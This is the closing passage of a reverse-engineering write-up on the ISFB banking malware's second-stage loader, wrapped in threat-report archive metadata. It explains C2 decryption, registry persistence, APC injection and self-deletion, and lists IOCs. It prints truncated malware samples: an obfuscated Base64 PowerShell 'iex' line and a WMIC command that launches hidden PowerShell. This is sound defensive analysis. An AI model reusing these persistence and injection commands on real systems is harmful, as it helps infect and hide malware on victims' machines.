0x82, 0xBB, 0x7A, 0xF8, 0xD1, 0x0D, 0xAF,\r\n 0xF4, 0xDD, 0x40, 0x13, 0x85, 0x5E, 0xA2, 0xE1, 0x91, 0x88, 0xF6, 0xFA, 0x2B, 0xD5, 0xF2, 0x51\r\n};\r\nLast 64 bytes of data - RSA Decrypted - MD5[0:16], Serpent[16:32], Size[32:36] {\r\n 0x14, 0x37, 0x3F, 0x33, 0xE1, 0x90, 0x7B, 0x5D, 0x82, 0x74, 0x7B, 0xED, 0x1F, 0x1A, 0xAC, 0xAF,\r\n 0xE2, 0xD9, 0x64, 0x73, 0x36, 0x1D, 0xD8, 0x57, 0xCA, 0xA1, 0x8C, 0x7B, 0x9E, 0x65, 0x80, 0xDF,\r\n 0x00, 0x76, 0x02, 0x00, 0x06, 0xAD, 0x28, 0x67, 0x14, 0x37, 0x3F, 0x33, 0xE1, 0x90, 0x7B, 0x5D,\r\n 0x82, 0x74, 0x7B, 0xED, 0x1F, 0x1A, 0xAC, 0xAF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x76, 0x02, 0x00\r\n};\r\nNow that the data has been decrypted, and the MD5 hashes match completely, the decrypt/verify function will\r\nreturn and overwrite the encrypted data with the decrypted data using memcpy(). Then, we return back to the\r\nfunction that called Talk_To_C2. It is quite difficult to tell with the psuedocode, but Talk_To_C2 is actually\r\ninside a loop that loops 3 times in total, meaning the same C2 is queried 3 times, with the same data, and it might\r\nleave you questioning “why?”. Well to answer that, we need to look at what the encrypted data actually is. We can\r\ndo this by decrypting it based off of the PCAP, or simply by debugging it and waiting for it to decrypt in memory,\r\nbefore dumping it out.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 25 of 33\n\nOn the first and second call to Talk_To_C2, the C2 server returns an executable. It may seem like it is the same\r\nexecutable and the C2 just has an error, but on closer inspection this is not true – looking at both executables in\r\nHxD, we can see that one is for a 64 bit machine, and the other is for a 32 bit machine, which makes sense as\r\nISFB injects into explorer.exe, so having the correct architecture would be useful. So, we know what the first two\r\nconnections are for, what is the third?\r\nIf you’ve ever read anything about ISFB in depth, you might have heard that it uses Powershell and the registry\r\nfor persistence. Well, this is the decrypted data returned by the C2 on the third and final connection:\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 26 of 33\n\n$rpgsxgd=\"jgrtkahbulw\";function vva{$sjoielxky=[System.Convert]::FromBase64String($args[0]);[System.Text.Encodi\r\niex(vva(\"DQokZXJ1bXN3c3dmaD0iW0RsbEltcG9ydChgImtlcm5lbDMyYCIpXWBucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEN1cnJ\r\nAfter cleaning this up a bit and decoding the Base64, we get this:\r\nIt does look quite confusing to start of with, but don’t worry, we will get into this when it is actually used by the\r\nsample. Once the communication phase is complete, the loader moves into the final function in the loader itself\r\nbefore exiting – Setup_And_Exec_Next_Stage (sub_1D79B1).\r\nSetting Up and Executing the Next Stage\r\nAs mentioned previously, the ISFB loader utilizes the registry quite frequently, to store different pieces of data.\r\nUsing the random value generator discussed earlier, as well as using file data from the System32 directory (the\r\nloader queries several different files, gathering file times etc.), the loader generates two seemingly random names\r\nbased on filenames in the System32 folder, which are then used as registry key names. In this sample, the two\r\ngenerated names are basegcfg and ApiMider. Then, the loader copies one of the executables (depending on the\r\nsystem architecture) to a new region of memory, before overwriting both executables (not the copied one) using a\r\nsimilar rotating XOR algorithm that was seen previously. From there, we move into quite an interesting function,\r\ncalled Convert_EXE_Input_Powershell (sub_1D5DBC).\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 27 of 33\n\nThis function is responsible for firstly converting each byte of the copied executable to an integer, as well as\r\naltering the first DWORD of the executable to a value that seems like a relative jump to an offset:\r\nFirst DWORD of executable {\r\n 0xE9, 0x2F, 0xA8, 0x01 # 0xE9 = Relative JMP in x86 ASM, JMP 0x1a82f?\r\n};\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 28 of 33\n\nAs the executable is executed in an unusual way, this could be a pointer to the entry point of the executable,\r\nalthough interestingly, upon altering the entry point to said offset using PE-Bear and opening it up in IDA, it just\r\npoints to the end of a function, so perhaps I am incorrect. Once the executable has been completely converted to\r\nintegers, the loader then embeds this inside the powershell command we saw earlier. Searching for the string\r\n@CODE@, it replaces this with the converted executable. An example can be seen here, as it is an extremely\r\nlong script after adding the executable in, so it would take up a lot of space.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 29 of 33\n\nMoving back to the previous function, the loader calls Create_Registry_Keys (sub_1D4912), which, as the name\r\nsuggests, creates registry keys using COM API. The created registry keys can be seen below, and are all in the\r\nsame registry folder Software\\AppDataLow\\Software\\Microsoft\\17B9B5BC-8A83-619D-4C3B-5E25409F7229 – everything after AppDataLow is created by the loader.\r\nClient32: Encrypted client 32 bit binary (Rotating XOR algorithm)\r\nClient64: Encrypted client 64 binary (Rotating XOR algorithm)\r\nbasegcfg: Powershell \"script\" containing\r\napiMider: WMIC Command pointing to Powershell script\r\nYou might be wondering, what is this “WMIC Command”? Well, the loader actually creates a command to\r\nexecute the Powershell script, rather than calling Powershell directly, and it can be seen below, and it essentially\r\nexecutes the Powershell script stored in basegcfg:\r\nC:\\Windows\\system32\\wbem\\wmic.exe /output:clipboard process call create \"powershell -w hidden iex([System.Text\r\nThis is then executed using COM API once again, rather than calling a well known API such as\r\nShellExecuteExW(), which is used to execute CMD.exe.\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 30 of 33\n\nOnce this function returns, we can now see all the data and registry keys that this loader creates, although the next\r\nstage also utilizes this area of the registry, so try not to get confused with different keys being added.\r\nOnce everything has been setup and executed, one last function is called in the loader, and it is responsible for\r\ndeleting the original file, leaving no visible trace of any infections. All it does is use ShellExecuteExW() to\r\nexecute CMD.exe, passing a command line argument that executes ping against the localhost, and then deletes\r\nitself from the system, leaving the next stage running silently.\r\nSo, now we know how the loader functions, lets take a quick look at that powershell script again:\r\nSo, we can see that it is calling VirtualAllocEx(), which is then used as the destination argument for a call to\r\nCopy(), meaning the allocated memory will contain what we now know is the (converted to integer) executable.\r\nThen, QueueUserAPC() is called, and as described by John Arneson at Talos:\r\nQueueUserAPC is executed, specifying the current thread within its process. This creates a user-mode APC and qu\r\nBy following execution of this script, we can see that it injects into explorer.exe – mainly due to the fact that as\r\nsoon as the script executes, we can see explorer.exe communicate out to different C2 servers. Now I’m not\r\nentirely sure on how calling QueueUserAPC() on it’s own thread enables the process to inject into explorer.exe,\r\nas most write-ups on APC injection involve passing the thread of the process to inject into, and in this case it is\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 31 of 33\n\npassing it’s own thread ID. Perhaps due to the fact that it is being executed with WMI? If you want to learn more\r\nabout APC injection, you can check out this great post by Pavel here.\r\nSo, that brings an end to this analysis! You can find a summary down below, as well as all IOCs associated with\r\nthis sample – and if you would like to get a hold of the PCAP that I used, DM me on Twitter (@0verfl0w_), and I\r\ncan pass it on! Hopefully you learnt something from this post, and part 3 (the final stage), should be up fairly\r\nsoon! Thanks for reading!\r\nSummary:\r\n Parses \"JJ\" Structure to get RSA key + Configuration\r\n Utilizes COM API to communicate to C2 servers through Internet Explorer\r\n Alters three registry keys to run silently:\r\n SOFTWARE\\Microsoft\\Internet Explorer\\Main\\IE10RunOnceLastShown_TIMESTAMP\r\n SOFTWARE\\Microsoft\\Internet Explorer\\Main\\IE8RunOnceLastShown_TIMESTAMP\r\n SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Check_Associations\r\n Generates string to use in communication with C2 servers:\r\n soft=%u\u0026version=%u\u0026user=%08x%08x%08x%08x\u0026server=%u\u0026id=%u\u0026crc=%x\u0026uptime=%u\r\n The string is Serpent CBC encrypted, with the 16 byte config key + 16 byte nulled IV\r\n A random string is prepended, the string is Base64 encoded, '+' and '/' are replaced with\r\n hex equivalents, random '/' are added to string, '/images/' is prepended and '.avi' is\r\n appended\r\n The last 64 bytes of the received data from the C2 is RSA decrypted using the RSA key\r\n This block contains the MD5 hash of decrypted data, the Serpent key to decrypt, and the\r\n size of the data to decrypt\r\n The loader reaches out 3 times, the first two to get a 32 and 64 bit executable, and the\r\n third to get a Powershell script used for APC injection later on\r\n The correct executable (architecture wise) is converted to integers and input into the Powershell\r\n script, replacing @CODE@\r\n Four registry keys are created, containing the two downloaded, encrypted executables, the\r\n Powershell script, and a WMIC command executing the Powershell script\r\n Client32: Encrypted client 32 bit binary (Rotating XOR algorithm)\r\n Client64: Encrypted client 64 binary (Rotating XOR algorithm)\r\n basegcfg: Powershell \"script\" containing\r\n apiMider: WMIC Command pointing to Powershell script\r\n The loader then uses COM API to execute apiMider, executing the Powershell script that uses\r\n APC injection to inject the downloaded executable into explorer.exe\r\n The loader executes CMD.exe that executes ping.exe against the localhost, and deletes itself\r\n from the system\r\n The loader then exits, leaving the final stage running in explorer.exe\r\nIOCs:\r\n MD5 of Second Stage Loader: 52b4480de6f4d4f32fba2b535941c284\r\n MD5 of x32 Downloaded Executable: 14373f33e1907b5d82747bed1f1aacaf\r\n MD5 of x64 Downloaded Executable: 468d291ca5e63470a351ac73ff3621ba\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 32 of 33\n\nSource: https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nhttps://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/\r\nPage 33 of 33",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/"
	],
	"report_names": [
		"analyzing-isfb-second-loader"
	],
	"threat_actors": [],
	"ts_created_at": 1775434089,
	"ts_updated_at": 1775791215,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e8fcb51ace56e9027269fbfbf51e988ddbf4aaa7.pdf",
		"text": "https://archive.orkl.eu/e8fcb51ace56e9027269fbfbf51e988ddbf4aaa7.txt",
		"img": "https://archive.orkl.eu/e8fcb51ace56e9027269fbfbf51e988ddbf4aaa7.jpg"
	}
}